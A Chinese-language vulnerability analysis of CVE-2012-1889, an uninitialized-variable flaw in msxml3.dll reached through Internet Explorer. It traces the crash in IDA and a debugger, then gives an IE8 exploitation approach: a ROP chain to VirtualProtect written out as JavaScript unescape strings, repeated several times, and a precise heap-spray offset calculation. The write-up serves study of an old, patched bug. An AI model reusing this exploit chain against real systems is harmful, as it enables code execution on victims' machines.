CVE-2012-1889 暴雷漏洞分析报告
还是参考了不少资料的。底部会附上一些连接。
POC用的是15pb老师给的,有一说一javascript学的太差,那段时间请假了日
可能也有很多地方说的不对,还请谅解。
在IDA中 定位 get_definition
后,发现其参数有两个,this指针
和**IXMLDOMNode
这个是符号给的类型,应该不会错
返回值应该仅仅是个bool。
再回到invokeHelper
中查看对其参数和返回值的处理
再回到get_definition
中
而函数返回后,则正是调用a2
指向的内容,可是在一定情况下a2
并未初始化
==这应该就是漏洞产生的原因,查看一下主机W10里的msxml3.dll
,应该已经对此处进行了修复==
利用上实际上分为IE6/IE8 区别在于是否有DEP和随即基址的存在。
这里就直接写IE8的了,理论上在IE6也能用
并且精准堆喷的计算方式,构造方式实际上都已经有很明确的公式和示例代码,这里就不多赘述了。
附上部分参考链接:
c++ - 正确的VARIANT初始化 - IT工具网 (coder.work)
VariantInit function (oleauto.h) - Win32 apps | Microsoft Docs
nameProp property (Internet Explorer) | Microsoft Docs)
[XMLDOMNode.definition - msdn]======
这url里带括号就不做成超链接了,手动复制一下吧
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms764733(v=vs.85)
主要思路和流程是从这个链接来的,感谢大佬nEINEI的分享。
如果不看其他的参考,完全想不到有个函数叫get_definition
……
另外大佬的文章中上来就提到了临时变量
未初始化,虽然整个自己分析完的确是一个临时变量导致的,但是完全没分析过的话还是一头雾水。
/
/
构造出来的ret2libc
var cRet2Libc
=
unescape(
"\u0c0c\u0c0c"
+
"\uA686\u7470"
+
/
/
ret
"\u7599\u775D"
+
/
/
pop esi ,ret
"\u5789\u775A"
+
/
/
xchg eax,esp
"\uA686\u7470"
+
/
/
ret
"\uA686\u7470"
+
/
/
ret
"\uA686\u7470"
+
/
/
ret
"\uA686\u7470"
+
/
/
ret
"\u2347\u75EC"
+
/
/
vritualProtect
"\u0C40\u0C0C"
+
/
/
address
"\u0C40\u0C0C"
+
/
/
address
"\u1000\u0000"
+
/
/
size
"\u0040\u0000"
+
/
/
new
"\uEFFC\u77C2"
);
/
/
构造出来的ret2libc
var cRet2Libc
=
unescape(
"\u0c0c\u0c0c"
+
"\uA686\u7470"
+
/
/
ret
"\u7599\u775D"
+
/
/
pop esi ,ret
"\u5789\u775A"
+
/
/
xchg eax,esp
"\uA686\u7470"
+
/
/
ret
"\uA686\u7470"
+
/
/
ret
"\uA686\u7470"
+
/
/
ret
"\uA686\u7470"
+
/
/
ret
"\u2347\u75EC"
+
/
/
vritualProtect
"\u0C40\u0C0C"
+
/
/
address
"\u0C40\u0C0C"
+
/
/
address
"\u1000\u0000"
+
/
/
size
"\u0040\u0000"
+
/
/
new
"\uEFFC\u77C2"
);
还是参考了不少资料的。底部会附上一些连接。
POC用的是15pb老师给的,有一说一javascript学的太差,那段时间请假了日
可能也有很多地方说的不对,还请谅解。
利用上实际上分为IE6/IE8 区别在于是否有DEP和随即基址的存在。
这里就直接写IE8的了,理论上在IE6也能用
并且精准堆喷的计算方式,构造方式实际上都已经有很明确的公式和示例代码,这里就不多赘述了。
附上部分参考链接:
c++ - 正确的VARIANT初始化 - IT工具网 (coder.work)
VariantInit function (oleauto.h) - Win32 apps | Microsoft Docs
nameProp property (Internet Explorer) | Microsoft Docs)
[XMLDOMNode.definition - msdn]======
这url里带括号就不做成超链接了,手动复制一下吧
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms764733(v=vs.85)
主要思路和流程是从这个链接来的,感谢大佬nEINEI的分享。
如果不看其他的参考,完全想不到有个函数叫get_definition
……
另外大佬的文章中上来就提到了临时变量
未初始化,虽然整个自己分析完的确是一个临时变量导致的,但是完全没分析过的话还是一头雾水。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
/ / 构造出来的ret2libc
var cRet2Libc = unescape(
"\u0c0c\u0c0c" +
"\uA686\u7470" + / / ret
"\u7599\u775D" + / / pop esi ,ret
"\u5789\u775A" + / / xchg eax,esp
"\uA686\u7470" + / / ret
"\uA686\u7470" + / / ret
"\uA686\u7470" + / / ret
"\uA686\u7470" + / / ret
"\u2347\u75EC" + / / vritualProtect
"\u0C40\u0C0C" + / / address
"\u0C40\u0C0C" + / / address
"\u1000\u0000" + / / size
"\u0040\u0000" + / / new
"\uEFFC\u77C2" );
|
- 依照流程,我们先来引发崩溃。
- 现场位于
msxml3.dll
中
- 报错语句为
call [ecx+0x18]
,而ecx
为00000000
-
ecx
来源于[eax]
-
eax
来源于[ebp-0x14]
- 而栈内
[ebp-0x14]
为0c0c0c0c
这是我们之前填充的img.src
- 在IDA里找一下崩溃现场
- 可以看到对应地址位于
InvokeHelper
中,应该是用于调用对应C++类对象的属性或者方法的。
- 开头是个
FindIndex
应该用于获取对应的属性或者方法
- 之后
VariantInit
查了一下主要用于对变体进行初始化,==但是仅仅是将变体解释设置为VT_EMPTY
并不会对关联的值进行归零==
- 接下去 call 了三个函数,第二个
+ 0x18
的应该是崩溃现场的EIP
- 而前面一个
+8
,对应POC结尾的obj15PB.definition(0);
查了一下资料应该是对应的C++类内函数get_definition
- 现场位于
msxml3.dll
中
- 报错语句为
call [ecx+0x18]
,而ecx
为00000000
-
ecx
来源于[eax]
-
eax
来源于[ebp-0x14]
- 而栈内
[ebp-0x14]
为0c0c0c0c
这是我们之前填充的img.src
- 可以看到对应地址位于
InvokeHelper
中,应该是用于调用对应C++类对象的属性或者方法的。
- 开头是个
FindIndex
应该用于获取对应的属性或者方法
- 之后
VariantInit
查了一下主要用于对变体进行初始化,==但是仅仅是将变体解释设置为VT_EMPTY
并不会对关联的值进行归零==
- 接下去 call 了三个函数,第二个
+ 0x18
的应该是崩溃现场的EIP
- 而前面一个
+8
,对应POC结尾的obj15PB.definition(0);
查了一下资料应该是对应的C++类内函数get_definition
- 先去动态调试确认一下是否是
get_definition
,IDA中找到get_definition
的相对偏移地址0x72861
- 在调试器中下dll断点
msxml3.dll
- 断下来后取一下加载基址
0x695D0000
计算得到
-
invokeHelper
地址为0x69601B85
-
get_definition
地址为0x69641861
- 下断点
- 发现第四次调用
invokeHelper
的时候在call [esi+0x20]
的位置调用了get_definition
- IDA中,
[esi+0x20]
的确是VariantInit
下的一个函数
- 至此可以确认,的确调用了
get_definition
函数,并且函数返回后就到了崩溃现场那么应该就是get_definition
中出现或者导致的问题
-
invokeHelper
地址为0x69601B85
-
get_definition
地址为0x69641861
- 下断点
- IDA中,
[esi+0x20]
的确是VariantInit
下的一个函数
-
在IDA中 定位 get_definition
后,发现其参数有两个,this指针
和**IXMLDOMNode
这个是符号给的类型,应该不会错
-
返回值应该仅仅是个bool。
-
再回到invokeHelper
中查看对其参数和返回值的处理
- 虽然参数识别的不太对,但是可以看到只有一个
&取地址的
,可以判断应该是**IXMLDOMNode
- 而接下来
`处于崩溃EIP
的,则正是调用了v19
的偏移。
-
再回到get_definition
中
- 可以看到对
a2
的处理仅限于v5
内容非空情况下存在
-
v5
却决于getDefinition
的函数返回值。
- ==而如果
v5
为空,则并未处理a2
==
-
而函数返回后,则正是调用a2
指向的内容,可是在一定情况下a2
并未初始化
- 虽然参数识别的不太对,但是可以看到只有一个
&取地址的
,可以判断应该是**IXMLDOMNode
- 而接下来
`处于崩溃EIP
的,则正是调用了v19
的偏移。
- 可以看到对
a2
的处理仅限于v5
内容非空情况下存在
-
v5
却决于getDefinition
的函数返回值。
- ==而如果
v5
为空,则并未处理a2
==
- 的确,在
W10 的 msxml3.dll 的 get_definition
中新增了对a2
的处理。
- 实际上就算没有初始化,应该现象是返回了一个
无法确定的不安全数值
,导致了后面对这个数值的使用和计算出现错误。
- 但是这里是直接崩溃在了那里,查看POC可以看到
- 先构造了一个很长的图片路径,之后用
nameProp
将路径作为局部变量出现在栈内
- 之后调用了
definition
,注意是==调用==
- 而
definition
实际上是个属性,是个类成员变量。通过get_definition
的函数名我们也能推断。同时msdn上也有这方面的描述
- 所以POC中的
调用
则正是导致了其,跳转到 栈内未初始化数据
并 崩溃
的主要原因
- 先构造了一个很长的图片路径,之后用
nameProp
将路径作为局部变量出现在栈内
- 之后调用了
definition
,注意是==调用==
- 而
definition
实际上是个属性,是个类成员变量。通过get_definition
的函数名我们也能推断。同时msdn上也有这方面的描述
- 因为IE8包含
DEP
所以为了保证之后计算精准堆喷的位置,先构造ret2libc
- 这里构造了两种,分别是
EAX==0x0C0C0C0
的时候和EAX == 0x0C0C0C08
的时候。
- 当然,
EAX
的值取决于我们nameProp
的数据。
- 这里构造了两种,分别是
EAX==0x0C0C0C0
的时候和EAX == 0x0C0C0C08
的时候。
- 当然,
EAX
的值取决于我们nameProp
的数据。
- 公式是这样的`((address - UserPtr)%0x1000/2-
- 对
0x1000
取余是为了避免地址不是在第一个内存分页上
-
/2
是为了unicode
- 先进行一下堆喷,保证喷到
0c0c0c08
,之后使用!heap -p -a 0x0c0c0c08
查看一下UserPtr
- 所以我们的偏移为
((0x0c0c0c08-0x0c050020)%0x1000)/2=0x5F4
- 对
0x1000
取余是为了避免地址不是在第一个内存分页上
-
/2
是为了unicode
- 所以我们的偏移为
((0x0c0c0c08-0x0c050020)%0x1000)/2=0x5F4
- 但是这是W7上的,因为随即基址,所以并不稳定,xp上可以使用mona直接构造。
漏洞成因
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)